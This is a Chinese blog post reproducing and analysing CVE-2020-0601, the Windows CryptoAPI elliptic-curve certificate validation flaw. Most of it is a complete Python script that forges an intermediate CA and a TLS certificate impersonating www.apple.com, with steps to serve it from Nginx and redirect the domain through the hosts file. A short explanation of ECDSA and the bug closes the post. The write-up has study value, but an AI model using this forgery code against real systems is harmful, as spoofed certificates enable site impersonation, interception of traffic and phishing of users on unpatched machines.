CVE-2020-0601漏洞复现与分析

道锋潜鳞
2020-04-02 / 0 评论 / 51 阅读 / 正在检测是否收录...

第一步:生成https证书

基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。

#!/usr/bin/env python3
import datetime
import hashlib
import os
import subprocess
import sys
from typing import BinaryIO, Iterable, Optional, Sequence, Tuple

import ecdsa.curves
import ecdsa.ellipticcurve
import ecdsa.numbertheory
import ecdsa.util
from asn1crypto import core, keys, pem, x509


def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]:
    with open(
        os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb"
    ) as f:
        pem_bytes = f.read()

    for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True):
        if object_type != "CERTIFICATE":
            continue
        yield x509.Certificate.load(der_bytes)


def generate_ec_private_key(name: str) -> keys.ECPrivateKey:
    der_bytes = subprocess.check_output(
        (
            "openssl",
            "ecparam",
            "-name",
            name,
            "-param_enc",
            "explicit",
            "-genkey",
            "-noout",
            "-outform",
            "DER",
        )
    )
    return keys.ECPrivateKey.load(der_bytes)


def get_exploit_generator(
    k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve
) -> Tuple[int, int]:
    k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order)
    Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order)
    G = Q * k_inverse
    return (G.x(), G.y())


def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve:
    p = parameters["field_id"]["parameters"].native
    a = parameters["curve"]["a"].cast(core.IntegerOctetString).native
    b = parameters["curve"]["b"].cast(core.IntegerOctetString).native
    Gx, Gy = parameters["base"].to_coords()
    order = parameters["order"].native

    curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b)
    G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order)

    return ecdsa.curves.Curve(None, curve_fp, G, (0, 0))


def digest_certificate(certificate: x509.Certificate) -> bytes:
    der_bytes = certificate["tbs_certificate"].dump()
    return hashlib.new(certificate.hash_algo, der_bytes).digest()


def sign_certificate(
    signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate
) -> None:
    digest = digest_certificate(certificate)
    signature_bytes = signing_key.sign_digest(
        digest, sigencode=ecdsa.util.sigencode_der
    )
    certificate["signature_value"] = signature_bytes


def exploit_certificate(
    certificate: x509.Certificate,
) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]:
    curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native
    ec_private_key = generate_ec_private_key(curve_name)

    k = ec_private_key["private_key"].native
    parameters = ec_private_key["parameters"].chosen

    nist_curve = curve_from_ec_parameters(parameters)
    Qx, Qy = certificate.public_key["public_key"].to_coords()
    Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve)
    parameters["base"] = keys.ECPoint.from_coords(Gx, Gy)

    ec_private_key["parameters"] = parameters
    ec_private_key["public_key"] = certificate.public_key["public_key"]

    certificate.public_key["algorithm"]["parameters"] = parameters

    exploit_curve = curve_from_ec_parameters(parameters)
    signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve)

    signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"})
    certificate["tbs_certificate"]["signature"] = signed_digest_algorithm
    certificate["signature_algorithm"] = signed_digest_algorithm

    sign_certificate(signing_key, certificate)

    return (signing_key, ec_private_key)


def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None:
    print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr)
    der_bytes = value.dump()
    pem_bytes = pem.armor(object_type, der_bytes)
    f.write(pem_bytes)


def generate_private_key(
    algorithm: str,
) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]:
    pem_bytes = subprocess.check_output(
        (
            "openssl",
            "req",
            "-pubkey",
            "-noout",
            "-newkey",
            algorithm,
            "-keyout",
            "-",
            "-nodes",
            "-batch",
            "-outform",
            "PEM",
        )
    )
    pem_iter = pem.unarmor(pem_bytes, multiple=True)

    object_type, _, der_bytes = next(pem_iter)
    assert object_type == "PRIVATE KEY"
    private_key = keys.PrivateKeyInfo.load(der_bytes)

    object_type, _, der_bytes = next(pem_iter)
    assert object_type == "PUBLIC KEY"
    public_key = keys.PublicKeyInfo.load(der_bytes)

    return private_key, public_key


def random_serial_number() -> int:
    return int.from_bytes(os.urandom(20), "big") >> 1


def write_tls_certificate(
    ca_cert: x509.Certificate,
    ca_cert_orig: x509.Certificate,
    signing_key: ecdsa.keys.SigningKey,
    name: str,
    subject: x509.Name,
    subject_alt_names: Sequence[str],
) -> None:
    private_key, public_key = generate_private_key("rsa:4096")
    signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"})

    certificate = x509.Certificate(
        {
            "tbs_certificate": {
                "version": "v3",
                "serial_number": random_serial_number(),
                "signature": signed_digest_algorithm,
                "issuer": ca_cert_orig.subject,
                "validity": {
                    "not_before": x509.UTCTime(
                        datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc)
                    ),
                    "not_after": x509.UTCTime(
                        datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc)
                    ),
                },
                "subject": subject,
                "subject_public_key_info": public_key,
                "extensions": [
                    {
                        "extn_id": "basic_constraints",
                        "critical": True,
                        "extn_value": {"ca": False},
                    },
                    {
                        "extn_id": "subject_alt_name",
                        "critical": False,
                        "extn_value": [
                            x509.GeneralName({"dns_name": dns_name})
                            for dns_name in subject_alt_names
                        ],
                    },
                    {
                        "extn_id": "certificate_policies",
                        "critical": False,
                        "extn_value": [
                            {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"},
                        ],
                    },
                ],
            },
            "signature_algorithm": signed_digest_algorithm,
        }
    )

    sign_certificate(signing_key, certificate)

    with open(name + ".crt", "wb") as f:
        write_pem(f, certificate, "CERTIFICATE")
        write_pem(f, ca_cert_orig, "CERTIFICATE")
        write_pem(f, ca_cert, "CERTIFICATE")

    with open(name + ".key", "wb") as f:
        write_pem(f, private_key, "PRIVATE KEY")
        write_pem(f, certificate, "CERTIFICATE")
        write_pem(f, ca_cert_orig, "CERTIFICATE")
        write_pem(f, ca_cert, "CERTIFICATE")


def get_name(purpose: Optional[str] = None) -> str:
    components = ["www.apple.com", "aaaa"]
    if purpose:
        components.insert(1, purpose)
    return " ".join(components)


def main() -> None:
    _, ca_cert, _ = load_certificate_chain(
        "comodoecccertificationauthority-ev-comodoca-com-chain.pem"
    )
    ca_cert_orig = ca_cert.copy()

    signing_key, ec_private_key = exploit_certificate(ca_cert)

    with open("intermediateCA.crt", "wb") as f:
        write_pem(f, ca_cert_orig, "CERTIFICATE")
        write_pem(f, ca_cert, "CERTIFICATE")

    with open("intermediateCA.key", "wb") as f:
        write_pem(f, ec_private_key, "EC PRIVATE KEY")

    write_tls_certificate(
        ca_cert,
        ca_cert_orig,
        signing_key,
        "www.apple.com",
        x509.Name.build(
            {
                "incorporation_country": "US",
                "business_category": "California",
                "serial_number": "C0805582",
                "country_name": "US",
                "common_name": "www.apple.com",
                "organization_name": "Apple Inc.",
                "organizational_unit_name": "Internet Services for Akamai",
            }
        ),
        ("www.apple.com.cn", "www.apple.com"),
    )


if __name__ == "__main__":
    main()

第二步:部署https网站

将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。

第三步:修改hosts文件

在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。

第四步:访问www.apple.com网站

Edge浏览器访问假网站:

IE浏览器访问假网站

不过,火狐大法就不管用了

0x02 椭圆曲线数字签名算法(ECDSA)

在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。

ECDSA算法过程如下:

  • 参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。
  • 签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。
  • 对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。
  • 验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。

0x03 漏洞原理

通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。

攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。

假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。

0

评论 (0)

取消